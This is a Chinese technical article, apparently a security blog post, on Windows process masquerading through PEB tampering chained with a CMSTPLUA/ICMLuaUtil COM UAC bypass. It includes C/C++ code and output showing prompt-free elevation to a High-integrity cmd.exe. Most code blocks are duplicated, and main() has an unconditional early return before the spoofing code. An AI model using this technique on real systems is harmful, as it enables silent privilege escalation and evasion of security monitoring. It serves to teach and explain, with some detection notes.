在 Windows 攻击链中,许多看似基础的提权手段依然频繁奏效。在缺乏可用漏洞或需避免高风险内核操作时,攻击者会试图让提权看起来像系统应有的行为,以避免打断用户或触发告警。因此,“进程伪装”常被用于提权之前。攻击者通过塑造“合理的进程身份”而非单纯隐藏,来让 EDR 、AV 等防护产品和分析人员误以为其后续操作是合规的。
提权不只是技术问题,而是关于身份与信任的问题:
理解这一视角的转换,是识别“进程伪装 + 提权”攻击链的关键,也是本文讨论的重点。
Windows 的进程拥有多层复杂的“身份信息”。攻击者在进行"进程伪装"时,本质上就是在针对这些不同的"证件"和"特征"进行造假。
我们可以将进程的身份划分为以下 4 个层级:
系统程序、安全软件乃至安全分析师,大多是在各自的视角下检测和验证其中的部分信息。
攻击者倾向于寻找成本最低、收益最高的进程伪装方式,以躲过安全防护软件的检测和分析师的注意,然后悄无声息地实现提权。伪造进程的内核信息,成本和风险都很高;而篡改磁盘上的映像信息又容易被静态扫描识破。
因此,攻击者的目光很自然地落在了进程的用户态运行时信息上。这是一个介于内核与用户观测之间的“灰色地带”,其中比较方便操作的就是进程环境块PEB,它既不属于内核,却又深刻影响着用户态工具和分析人员的判断。
Windows 为了管理进程维护了很多数据结构。其中,EPROCESS 是位于内核空间的进程描述符。由于用户模式的程序无法直接访问内核空间,Windows 将一部分不那么敏感、但程序运行又频繁需要的信息放在了用户空间的进程环境块(PEB,Process Environment Block)中。每个进程都有自己独立的 PEB 结构。它位于用户态内存,用于存放特定进程状态信息的关键数据结构,包含映像基地址、加载的模块列表(PEB_LDR_DATA)、命令行参数和环境变量等,普通进程可以直接读取甚至修改它。
x86 (32位):TEB 位于 FS 段寄存器指向的地址,PEB 地址存储在 FS:[0x30]。
x64 (64位):TEB 位于 GS 段寄存器指向的地址,PEB 地址存储在 GS:[0x60]。
TEB (Thread Environment Block - 线程环境块),存储特定线程运行时的各种信息。每个线程都有自己独立的 TEB,用于管理线程本地存储 (TLS),包含异常处理链表(如 SEH 指针),存储线程的堆栈限制、线程 ID 等信息。
TEB 访问方式:在 32 位系统下通过 FS:[0] 寻址,64 位系统下通过 GS:[0] 寻址。
可以看到进程的部分信息已经被修改了
这种修改主要欺骗的是读取 PEB 来获取进程信息的工具(某些日志审计工具、早期的反病毒软件)。
后面要实现的 UAC 绕过需要欺骗 AppInfo 服务(承载了大部分 UAC 的验证逻辑),仅仅修改 ProcessParameters 是骗不过 AppInfo 服务的。 AppInfo 还会遍历 PEB->Ldr (加载器数据),检查当前进程加载的第一个模块(即 EXE 自身)的路径。修改 LDR 链表的代码实现后面还会提到。
从上面的结果也可以看到,只要对比一下 Command Line 的程序名称和 Image file name,就可以看出这两者不一致,肯定有问题。查看一下进程的内核结构体 EPROCESS 也能发现进程的“真实身份”,为什么这也能轻易实现提权?
关键在于 Windows 为了性能和架构的简便,AppInfo 服务(运行在 svchost.exe 中)通过 ReadProcessMemory 跨进程读取请求者的 PEB 内存块。它读取的是用户态的内存,而不是请求内核去查询 EPROCESS(内核对象)。如果系统进程频繁访问内核的结构体,会产生很大的开销。为了让 Explorer.exe 能够静默完成许多管理任务,系统必须给它开绿灯。
就好比,一个小偷用伪造的工卡想进入办公大楼,保安看过一眼就放行了,因为去调人事档案来核实身份太麻烦了。而且这个伪造的工卡本来属于每天都来单位的财务,保安无条件信任这个工卡。
当然要查一下证件照、看一下监控录像就很容易发现这个人不对劲。当等到发现的时候,小偷已经得逞了。恶意程序篡改 PEB 后立刻提权,就能顺利完成恶意操作。
这个比喻可能不太严谨,但大概是这个意思吧。
在 UAC 机制下,即便是管理员账户登录,默认启动的进程也只是中等完整性(Medium Integrity),只有通过提权操作,才能获得高完整性(High Integrity),从而真正拥有写系统目录、改注册表核心键值的权限。
提权的大致原理是系统内置的CMSTPLUA组件(实现了该接口)允许静默提权,但前提是调用者必须为受信任的系统进程。攻击者首先修改当前进程的PEB,将自身路径伪装成合法可信的进程,例如 explorer.exe。接着,代码使用CoGetObject配合Elevation提权字符串去实例化该组件。系统的AppInfo服务在校验时被PEB伪装欺骗,从而在独立的dllhost.exe中免弹窗创建了一个高权限的COM对象。最后,攻击者调用该接口的ShellExec方法启动目标程序(如cmd.exe),通过父子进程的权限继承,成功实现无弹窗获取管理员权限。
读取 PEB 之后然后修改,这个前面介绍了,这里就不多说了。
CoInitialize 是 Windows API 函数,用于在当前线程上初始化组件对象模型(COM)库,并将线程设置为单线程单元(STA)模式。使用任何 COM 功能前必须调用它(内存分配函数除外),且必须与 CoUninitialize 成对使用以释放资源。
组件对象模型 (COM) 是微软开发的一种二进制接口标准,旨在实现跨编程语言(如 C++、C#、Python)和跨进程的软件组件复用。它允许以 DLL 或 EXE 形式存在的可重用二进制组件在运行时动态交互,是 ActiveX、OLE 和 DirectX 的技术基础。
Elevation Moniker(COM提升名字对象)是Windows的一项安全特性,允许在UAC(用户帐户控制)限制下运行的应用程序以管理员权限激活特定的COM类。
Elevation Moniker: Elevation:Administrator!new: 是一种特殊的 COM 语法。它告诉 COM 运行时环境(COM Runtime):实例化后面这个 CLSID 对应的对象,并且要以管理员权限(High Integrity Level)来创建它。如果一个普通的、未提权的程序调用这行代码,UAC(User Account Control)会拦截请求,弹出一个确认窗口,询问用户是否允许。
CLSID (Class Identifier,类标识符) 是一个 128 位 (16 字节) 的数字,属于 GUID(全局唯一标识符)的一种,通常以带有大括号和连字符的十六进制字符串形式呈现。它用于在 Windows 系统中唯一地标识一个具体的 COM 类 (COM Class)。无论是一段处理图像的代码、一个 Excel 应用程序实例,还是一个执行系统权限提升的组件,只要它是一个 COM 对象,它就必定有一个对应的 CLSID。
当系统收到请求:“请给我创建一个 CLSID 为 {...} 的对象”时,系统是如何找到对应代码的呢?答案是查注册表。Windows 注册表中有一个专门管理这些“条形码”的庞大数据库,路径通常位于:
CoGetObject 的主要作用是将一个显示名称(Display Name)转换为一个对象实例。简单来说,你可以给它一个字符串(比如文件路径、URL、WMI 查询语句,或者特殊的系统命令),它会解析这个字符串,找到对应的 COM 对象,将其激活(运行),并返回一个接口指针给你。
具体工作流程如下:
Windows 系统中有一份 COM 组件的白名单。在这个白名单上的组件,如果被请求以管理员权限启动,且请求者(Caller)是可信的 Windows 系统核心进程,系统可以配置为“静默提升” (Auto-Elevation),即不弹出 UAC 提示框直接给权限。
GUID {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 对应的是 CMSTPLUA 组件(属于“应用程序兼容性”或“颜色管理”相关组件)。这个组件被微软配置为允许自动提升,且它实现了一个非常有用的接口 ICMLuaUtil,里面包含了可以执行程序的 ShellExec 方法。
ICMLuaUtil 是 Windows 系统中一个非公开(未文档化)的 COM 接口,主要用于 CMLua 组件(Connection Manager Lua 实用程序)。CMLua 组件(全称 Connection Manager Lua)是 Windows 操作系统中“连接管理器”(Connection Manager)的一个实用程序模块,主要用于处理网络连接配置和远程访问服务, cmlua.dll 文件的形式存在于 C:\Windows\System32 目录下。
攻击者或开发者调用ShellExec时,系统内部会调用 ShellExecuteEx,从而在无需 UAC 弹窗确认的情况下,以高完整性(管理员权限)启动指定的程序或脚本。
当调用 CoGetObject 请求自动提升时,Windows 的 AIS (Application Information Service) 会介入进行安全检查。它会检查“是谁在请求这个权限?”
AIS 的检查逻辑大致如下:
在某些版本的 Windows 中(或者针对特定的 COM 接口),AIS 在判断“请求者是谁”时,过分依赖了进程内存中的 PEB(进程环境块) 信息,而不是严格校验磁盘上的文件签名或内核层的进程对象。
BIND_OPTS3 是一个在 Windows Vista 及更高版本中引入的 COM 结构体(定义于 objidl.h),用于在绑定名字对象(Moniker)时指定参数。它是 BIND_OPTS2 的扩展,通过增加 COSERVERINFO 指针,允许在激活对象时指定服务器信息,从而支持更复杂的远程激活设置
Windows 系统不断更新,结构体可能会增加新成员。通过传入结构体的大小(cbStruct),操作系统底层的函数就能知道你用的是哪个版本的结构体,从而避免读取越界或引发崩溃。memset 则是为了防止内存中有残留的垃圾数据影响执行。
dwClassContext(类上下文)决定了 COM 组件的宿主进程(Host Process)在哪里。这也是 UAC 绕过逻辑的画龙点睛之笔。
在 COM 编程中,常用的上下文有两种:
CLSCTX_LOCAL_SERVER 意味着创建的 COM 对象不会加载到当前进程的内存中(因为当前进程权限低,加载不了高权限对象),而是由系统启动一个 DLL Surrogate (dllhost.exe) 进程来承载这个对象。
dllhost.exe是Windows的核心系统进程,负责在后台代理运行基于DLL的COM对象,主要用于资源管理器生成缩略图、IIS服务及程序间组件调用,位于C:\Windows\System32。
状态:
通过把 bop 传给 CoGetObject,函数执行成功后,拿到了 pICMLuaUtil 指针,其实是一个代理指针(Proxy Pointer)。 当随后调用 pICMLuaUtil->ShellExec("cmd.exe", ...) 时:
通过 RPC(远程过程调用)向那个高权限的 dllhost.exe 发送指令,调用 ShellExec 方法。
因为 ShellExec 是在 dllhost.exe (管理员权限) 的上下文中执行的,所以它启动的子进程(这里是 cmd.exe)会自动继承父进程的权限。
最终结果:在这个高权限的 cmd.exe 中,可以执行任何需要管理员权限的操作。
以下是测试程序的完整代码
改变了 PEB 的 CommandLine
也改变了 LDR (Loader) 模块链表
cmd 进程被创建,窗口左上角显示 “管理员:C:\Windows\System32\cmd.exe”。没有弹出需要确认管理员权限的窗口。
在组信息列表中,BUILTIN\Administrators 的属性是 “必需的组, 启用于默认, 启用的组, 组的所有者”
列表最后一行显示 High Mandatory Level (S-1-16-12288),现在处于 High 级别,测试程序 ProcessFaker.exe 已经成功通过 ICMLuaUtil 接口,从 Medium 提升到了 High
在这个 cmd 窗口中,执行一些敏感操作都能成功
此时会弹出 UAC 警告窗口
如果攻击者采用这种手法,那肯定会引起检测工具或者安全分析师的警觉,因为这看起来是一个陌生的程序在申请更高权限,十分异常。
Vergilius Project
信息类别
含义
包含的信息种类
常用检测工具
映像文件
进程在磁盘上的原始文件
文件路径、MD5/SHA256、数字签名、Manifest(清单文件)、资源段(版本信息)
PEStudio, DIE, PEBear
用户态运行时
进程加载到内存的运行状态信息,是很多进程管理服务的信息来源
PEB (ImagePath, CommandLine)、LDR 链表、环境变量、TEB、加载的 DLL 列表
Process Hacker (System Informer)
行为信息
进程创建后对文件、注册表、网络和其他进程等对象的操作,“你是谁不重要,重要的是你在做什么”
API 调用序列 (Hook 监控)、网络连接、注册表/文件操作、堆栈指纹
Sysmon, Procmon, EDR 行为分析, Wireshark、火绒剑
内核信息
Windows 内核维护的进程“真身”,是系统进行权限校验的最终依据
EPROCESS 结构、句柄表、进程保护级别 (PsProtectedProcess)
WinDbg
//不同版本的windows系统的PEB结构体成员有些许差异
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged; // 是否处于调试状态(1=被调试,0=未被调试)
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr; // 模块加载器数据(已加载模块链表等)
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 指向RTL_USER_PROCESS_PARAMETERS结构体的指针,结构体包括进程的若干参数(命令行、镜像路径、当前目录等)
PVOID Reserved4[3];
PVOID AtlThunkSListPtr; // ATL thunk 相关的单向链表指针
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;// 32位 ATL thunk 链表指针(WOW64/兼容用途)
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; // 进程初始化完成后回调
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId; // 会话 ID(用于区分交互会话/服务会话等)
} PEB, *PPEB;
//不同版本的windows系统的PEB结构体成员有些许差异
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged; // 是否处于调试状态(1=被调试,0=未被调试)
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr; // 模块加载器数据(已加载模块链表等)
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 指向RTL_USER_PROCESS_PARAMETERS结构体的指针,结构体包括进程的若干参数(命令行、镜像路径、当前目录等)
PVOID Reserved4[3];
PVOID AtlThunkSListPtr; // ATL thunk 相关的单向链表指针
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;// 32位 ATL thunk 链表指针(WOW64/兼容用途)
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; // 进程初始化完成后回调
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId; // 会话 ID(用于区分交互会话/服务会话等)
} PEB, *PPEB;
struct _RTL_USER_PROCESS_PARAMETERS
{
……………………………………………… //部分成员省略
ULONG DebugFlags; // 调试相关的标志
VOID* ConsoleHandle; // 关联的控制台句柄(对于 GUI 程序通常为 NULL)
ULONG ConsoleFlags; // 控制台状态标志
……………………………………………… // 部分成员省略
struct _CURDIR CurrentDirectory; // 当前工作目录(内含目录路径和句柄)
struct _UNICODE_STRING DllPath; // 默认的 DLL 搜索路径
struct _UNICODE_STRING ImagePathName; // 【关键】进程的可执行文件完整路径(伪装核心)
struct _UNICODE_STRING CommandLine; // 【关键】启动进程的完整命令行字符串(伪装核心)
VOID* Environment; // 指向进程环境变量块的指针 (KEY=VALUE 字符串列表)
……………………………………………… //部分成员省略
// Windows 各个盘符的当前目录(如 C: 的当前目录,D: 的当前目录)
struct _RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
ULONGLONG EnvironmentSize; // 环境变量块的大小
ULONGLONG EnvironmentVersion; // 环境变量的版本号(用于检测更新)
……………………………………………… // 部分成员省略
};
struct _RTL_USER_PROCESS_PARAMETERS
{
……………………………………………… //部分成员省略
ULONG DebugFlags; // 调试相关的标志
VOID* ConsoleHandle; // 关联的控制台句柄(对于 GUI 程序通常为 NULL)
ULONG ConsoleFlags; // 控制台状态标志
……………………………………………… // 部分成员省略
struct _CURDIR CurrentDirectory; // 当前工作目录(内含目录路径和句柄)
struct _UNICODE_STRING DllPath; // 默认的 DLL 搜索路径
struct _UNICODE_STRING ImagePathName; // 【关键】进程的可执行文件完整路径(伪装核心)
struct _UNICODE_STRING CommandLine; // 【关键】启动进程的完整命令行字符串(伪装核心)
VOID* Environment; // 指向进程环境变量块的指针 (KEY=VALUE 字符串列表)
……………………………………………… //部分成员省略
// Windows 各个盘符的当前目录(如 C: 的当前目录,D: 的当前目录)
struct _RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
ULONGLONG EnvironmentSize; // 环境变量块的大小
ULONGLONG EnvironmentVersion; // 环境变量的版本号(用于检测更新)
……………………………………………… // 部分成员省略
};
typedef struct _RTL_DRIVE_LETTER_CURDIR {
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
typedef struct _CURDIR {
UNICODE_STRING DosPath;
HANDLE Handle;
} CURDIR, * PCURDIR;
// PEB 中存储进程参数的核心结构体
typedef struct _RTL_USER_PROCESS_PARAMETERS_FULL {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
HANDLE ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StandardInput;
HANDLE StandardOutput;
HANDLE StandardError;
CURDIR CurrentDirectory; // 当前目录
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName; // 映像路径 (也就是 exe 的全路径)
UNICODE_STRING CommandLine; // 命令行参数
PVOID Environment;
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle; // 窗口标题
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
ULONG_PTR EnvironmentSize;
} RTL_USER_PROCESS_PARAMETERS_FULL, * PRTL_USER_PROCESS_PARAMETERS_FULL;
// 重新定义 PEB 以包含完整的 Parameters 指针
typedef struct _PEB_FULL {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN BitField;
HANDLE Mutant;
PVOID ImageBaseAddress;
PVOID Ldr;
PRTL_USER_PROCESS_PARAMETERS_FULL ProcessParameters; // 指向参数块
// 后面的字段对于本演示不重要,省略...
} PEB_FULL, * PPEB_FULL;
void MasqueradeString(UNICODE_STRING* target, const wchar_t* newString) {
// 1. 计算新字符串长度
size_t len = wcslen(newString);
USHORT sizeBytes = (USHORT)(len * sizeof(wchar_t));
// 2. 申请新的内存块 (在进程堆上)
// 必须包含空终止符的空间,尽管 UNICODE_STRING 不强制要求空终止,但为了兼容性最好加上
wchar_t* newBuffer = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeBytes + sizeof(wchar_t));
if (newBuffer == NULL) {
printf("[!] Memory allocation failed.\n");
return;
}
// 3. 复制内容
memcpy(newBuffer, newString, sizeBytes);
// 4. 修改目标 UNICODE_STRING 的结构成员
// 这是一个原子操作的模拟,将指针指向新的地址
target->Buffer = newBuffer;
target->Length = sizeBytes;
target->MaximumLength = sizeBytes + sizeof(wchar_t);
}
int main() {
// 获取当前 32位进程的 PEB 地址
// FS:[0x30] 是 32位系统下 TIB (Thread Information Block) 指向 PEB 的偏移
printf("[!] Error: Please compile this as x86 (32-bit) for this demonstration.\n");
return 1;
PPEB_FULL pPeb = (PPEB_FULL)__readfsdword(0x30);
PRTL_USER_PROCESS_PARAMETERS_FULL pParams = pPeb->ProcessParameters;
printf("====================================================\n");
printf(" PEB Spoofing / Masquerading Demo (32-bit)\n");
printf("====================================================\n\n");
printf("[*] Original Information (Read from PEB):\n");
wprintf(L" Command Line: %s\n", pParams->CommandLine.Buffer);
wprintf(L" Image Path: %s\n", pParams->ImagePathName.Buffer);
wprintf(L" Win Title: %s\n", pParams->WindowTitle.Buffer);
printf("\n[*] Press ENTER to execute masquerading...");
getchar();
// ---------------------------------------------------------
// 开始伪装
// ---------------------------------------------------------
// 1. 伪装命令行 (这是最常见的,让进程看起来像是在运行合法服务)
// 比如伪装成 Windows 更新服务
MasqueradeString(&pParams->CommandLine, L"C:\\Windows\\System32\\svchost.exe -k netsvcs -p -s wuauserv");
// 2. 伪装映像路径 (部分旧工具会读取这里,而不是查询内核)
MasqueradeString(&pParams->ImagePathName, L"C:\\Windows\\System32\\svchost.exe");
// 3. 伪装窗口标题
MasqueradeString(&pParams->WindowTitle, L"Service Host Process");
// 4. 伪装当前目录
MasqueradeString(&pParams->CurrentDirectory.DosPath, L"C:\\Windows\\System32\\");
// ---------------------------------------------------------
// 验证结果
// ---------------------------------------------------------
printf("\n[+] PEB Modified successfully!\n");
printf("[*] New Information (Read from PEB):\n");
wprintf(L" Command Line: %s\n", pParams->CommandLine.Buffer);
wprintf(L" Image Path: %s\n", pParams->ImagePathName.Buffer);
wprintf(L" Win Title: %s\n", pParams->WindowTitle.Buffer);
printf("\n[!] Now check Task Manager (Details tab) or Process Hacker.\n");
printf(" Note: Some EDRs/Tools query the KERNEL (EPROCESS), not PEB, so they might see the real name.\n");
printf(" However, standard 'Command Line' auditing often logs the fake one.\n");
printf("\n[*] Press ENTER to exit...");
getchar();
return 0;
}
typedef struct _RTL_DRIVE_LETTER_CURDIR {
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
typedef struct _CURDIR {
UNICODE_STRING DosPath;
HANDLE Handle;
} CURDIR, * PCURDIR;
// PEB 中存储进程参数的核心结构体
typedef struct _RTL_USER_PROCESS_PARAMETERS_FULL {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
HANDLE ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StandardInput;
HANDLE StandardOutput;
HANDLE StandardError;
CURDIR CurrentDirectory; // 当前目录
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName; // 映像路径 (也就是 exe 的全路径)
UNICODE_STRING CommandLine; // 命令行参数
PVOID Environment;
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle; // 窗口标题
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
ULONG_PTR EnvironmentSize;
} RTL_USER_PROCESS_PARAMETERS_FULL, * PRTL_USER_PROCESS_PARAMETERS_FULL;
// 重新定义 PEB 以包含完整的 Parameters 指针
typedef struct _PEB_FULL {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN BitField;
HANDLE Mutant;
PVOID ImageBaseAddress;
PVOID Ldr;
PRTL_USER_PROCESS_PARAMETERS_FULL ProcessParameters; // 指向参数块
// 后面的字段对于本演示不重要,省略...
} PEB_FULL, * PPEB_FULL;
void MasqueradeString(UNICODE_STRING* target, const wchar_t* newString) {
// 1. 计算新字符串长度
size_t len = wcslen(newString);
USHORT sizeBytes = (USHORT)(len * sizeof(wchar_t));
// 2. 申请新的内存块 (在进程堆上)
// 必须包含空终止符的空间,尽管 UNICODE_STRING 不强制要求空终止,但为了兼容性最好加上
wchar_t* newBuffer = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeBytes + sizeof(wchar_t));
if (newBuffer == NULL) {
printf("[!] Memory allocation failed.\n");
return;
}
// 3. 复制内容
memcpy(newBuffer, newString, sizeBytes);
// 4. 修改目标 UNICODE_STRING 的结构成员
// 这是一个原子操作的模拟,将指针指向新的地址
target->Buffer = newBuffer;
target->Length = sizeBytes;
target->MaximumLength = sizeBytes + sizeof(wchar_t);
}
int main() {
// 获取当前 32位进程的 PEB 地址
// FS:[0x30] 是 32位系统下 TIB (Thread Information Block) 指向 PEB 的偏移
printf("[!] Error: Please compile this as x86 (32-bit) for this demonstration.\n");
return 1;
PPEB_FULL pPeb = (PPEB_FULL)__readfsdword(0x30);
PRTL_USER_PROCESS_PARAMETERS_FULL pParams = pPeb->ProcessParameters;
printf("====================================================\n");
printf(" PEB Spoofing / Masquerading Demo (32-bit)\n");
printf("====================================================\n\n");
printf("[*] Original Information (Read from PEB):\n");
wprintf(L" Command Line: %s\n", pParams->CommandLine.Buffer);
wprintf(L" Image Path: %s\n", pParams->ImagePathName.Buffer);
wprintf(L" Win Title: %s\n", pParams->WindowTitle.Buffer);
printf("\n[*] Press ENTER to execute masquerading...");
getchar();
// ---------------------------------------------------------
// 开始伪装
// ---------------------------------------------------------
// 1. 伪装命令行 (这是最常见的,让进程看起来像是在运行合法服务)
// 比如伪装成 Windows 更新服务
MasqueradeString(&pParams->CommandLine, L"C:\\Windows\\System32\\svchost.exe -k netsvcs -p -s wuauserv");
// 2. 伪装映像路径 (部分旧工具会读取这里,而不是查询内核)
MasqueradeString(&pParams->ImagePathName, L"C:\\Windows\\System32\\svchost.exe");
// 3. 伪装窗口标题
MasqueradeString(&pParams->WindowTitle, L"Service Host Process");
// 4. 伪装当前目录
MasqueradeString(&pParams->CurrentDirectory.DosPath, L"C:\\Windows\\System32\\");
// ---------------------------------------------------------
// 验证结果
// ---------------------------------------------------------
printf("\n[+] PEB Modified successfully!\n");
printf("[*] New Information (Read from PEB):\n");
wprintf(L" Command Line: %s\n", pParams->CommandLine.Buffer);
wprintf(L" Image Path: %s\n", pParams->ImagePathName.Buffer);
wprintf(L" Win Title: %s\n", pParams->WindowTitle.Buffer);
printf("\n[!] Now check Task Manager (Details tab) or Process Hacker.\n");
printf(" Note: Some EDRs/Tools query the KERNEL (EPROCESS), not PEB, so they might see the real name.\n");
printf(" However, standard 'Command Line' auditing often logs the fake one.\n");
printf("\n[*] Press ENTER to exit...");
getchar();
return 0;
}
Command Line: C:\Windows\System32\svchost.exe -k netsvcs -p -s wuauserv
Command Line: C:\Windows\System32\svchost.exe -k netsvcs -p -s wuauserv
Image Path: C:\Windows\System32\svchost.exe
Image Path: C:\Windows\System32\svchost.exe
PMY_PEB pPEB = (PMY_PEB)__readgsqword(0x60);
PMY_PEB pPEB = (PMY_PEB)__readfsdword(0x30);
PMY_PEB pPEB = (PMY_PEB)__readgsqword(0x60);
PMY_PEB pPEB = (PMY_PEB)__readfsdword(0x30);
HRESULT CoInitialize(LPVOID pvReserved) //初始化当前线程上的 COM 库,并将并发模型标识为单线程单元 (STA)
//参数:pvReserved 必须为 NULL。
//常用返回值:
S_OK:成功初始化 COM 库。
S_FALSE:COM 库在该线程上已经初始化过了。
RPC_E_CHANGED_MODE:该线程之前已以不同的并发模式(如 MTA)初始化过,无法更改模式。
HRESULT CoInitialize(LPVOID pvReserved) //初始化当前线程上的 COM 库,并将并发模型标识为单线程单元 (STA)
//参数:pvReserved 必须为 NULL。
//常用返回值:
S_OK:成功初始化 COM 库。
S_FALSE:COM 库在该线程上已经初始化过了。
RPC_E_CHANGED_MODE:该线程之前已以不同的并发模式(如 MTA)初始化过,无法更改模式。
LPCWSTR elevationMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
CoGetObject(elevationMoniker, ...);
LPCWSTR elevationMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
CoGetObject(elevationMoniker, ...);
HRESULT CoGetObject(
LPCWSTR pszName, // [输入] 显示名称(关键参数)
BIND_OPTS *pBindOptions, // [输入] 绑定选项(可选)
REFIID riid, // [输入] 你想要的接口 ID (IID)
void **ppv // [输出] 接收接口指针的变量
);
HRESULT CoGetObject(
LPCWSTR pszName, // [输入] 显示名称(关键参数)
BIND_OPTS *pBindOptions, // [输入] 绑定选项(可选)
REFIID riid, // [输入] 你想要的接口 ID (IID)
void **ppv // [输出] 接收接口指针的变量
);
HRESULT hr = E_FAIL;
ICMLuaUtil* pICMLuaUtil = nullptr;
LPCWSTR elevationMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
BIND_OPTS3 bop;
memset(&bop, 0, sizeof(bop));
bop.cbStruct = sizeof(bop);
bop.dwClassContext = CLSCTX_LOCAL_SERVER;
wprintf(L"[*] Calling CoGetObject...\n");
hr = CoGetObject(elevationMoniker, (BIND_OPTS*)&bop, __uuidof(ICMLuaUtil), (void**)&pICMLuaUtil);
if (FAILED(hr)) {
wprintf(L"[-] CoGetObject Failed: 0x%08X\n", hr);
return false;
}
wprintf(L"[+] Elevation success. Launching: %s\n", payloadExe);
hr = pICMLuaUtil->ShellExec(payloadExe, NULL, NULL, 0, SW_SHOW);
if (pICMLuaUtil) pICMLuaUtil->Release();
return SUCCEEDED(hr);
HRESULT hr = E_FAIL;
ICMLuaUtil* pICMLuaUtil = nullptr;
LPCWSTR elevationMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
BIND_OPTS3 bop;
memset(&bop, 0, sizeof(bop));
bop.cbStruct = sizeof(bop);
bop.dwClassContext = CLSCTX_LOCAL_SERVER;
wprintf(L"[*] Calling CoGetObject...\n");
hr = CoGetObject(elevationMoniker, (BIND_OPTS*)&bop, __uuidof(ICMLuaUtil), (void**)&pICMLuaUtil);
if (FAILED(hr)) {
wprintf(L"[-] CoGetObject Failed: 0x%08X\n", hr);
return false;
}
wprintf(L"[+] Elevation success. Launching: %s\n", payloadExe);
hr = pICMLuaUtil->ShellExec(payloadExe, NULL, NULL, 0, SW_SHOW);
if (pICMLuaUtil) pICMLuaUtil->Release();
return SUCCEEDED(hr);
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!